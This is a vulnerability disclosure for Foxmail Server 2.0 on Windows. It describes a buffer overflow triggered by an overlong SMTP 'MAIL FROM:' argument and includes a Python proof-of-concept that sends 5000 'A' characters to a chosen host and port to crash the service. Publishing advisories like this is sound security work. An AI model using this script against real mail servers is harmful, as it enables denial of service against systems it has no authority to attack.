AUTHOR:
(Fortinet, inc)
xouyang<xouyang_at_fortinet.com> <oyxin@segfault.cn>

PRODUCTS:
Foxmail Server- A MAil server for both Windows and linux.

AFFECTED VERSION:
Foxmail server for windows version 2.0(Newest).I just test windows server ,maybe linux version have vulnerability too.

Description:
Foxmail-the Email client application is the most famous software product in China. Chinese version is sold to more than 3 million users and English version to over 20 countries. It is listed as "Top Ten Domestic Software" and evaluated as "5 Star Software" by ZDNET.
BODA s NT/Linux-based email server system is featured by stability, security, ease of installation and maintenance, rich functions. Different versions of product can meet the varied needs ranging from small/medium- sized enterprises to ISPs/ICPs/ASPs.

DOWNLOAD:
http://www.foxmail.com.cn/english/english_3.htm
http://fox.foxmail.com.cn/cgi/download/nt/nph-install_nt.cgi

Detail:
A vulnerabilities have been identified in Foxmail server , which can be exploited by malicious people to cause a DoS (Denial of Service) or maybe compromise a vulnerable server.

The vulnerabilities are caused due to boundary errors in the handling of the "MAIL FROM:" commands. A malicious person can exploit this by supplying a long, specially crafted argument to the vulnerable commands, which will result in a buffer overflow.

Successful exploitation will cause a DOS or maybe allow execution of arbitrary code with SYSTEM privileges.

FOXmail POC exploit:

#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt

def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)

if __name__ == '__main__':

try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()

for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)

evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "\r\n"
evilbuf += "Message-ID: 123" + "\r\n"
evilbuf += "ASDF" + "\r\n"
evilbuf += "." + "\r\n"
evilbuf += "QUIT" + "\r\n"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send("HELO localhost\r\n")
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
except socket.error, msg:
print msg

sockfd.close()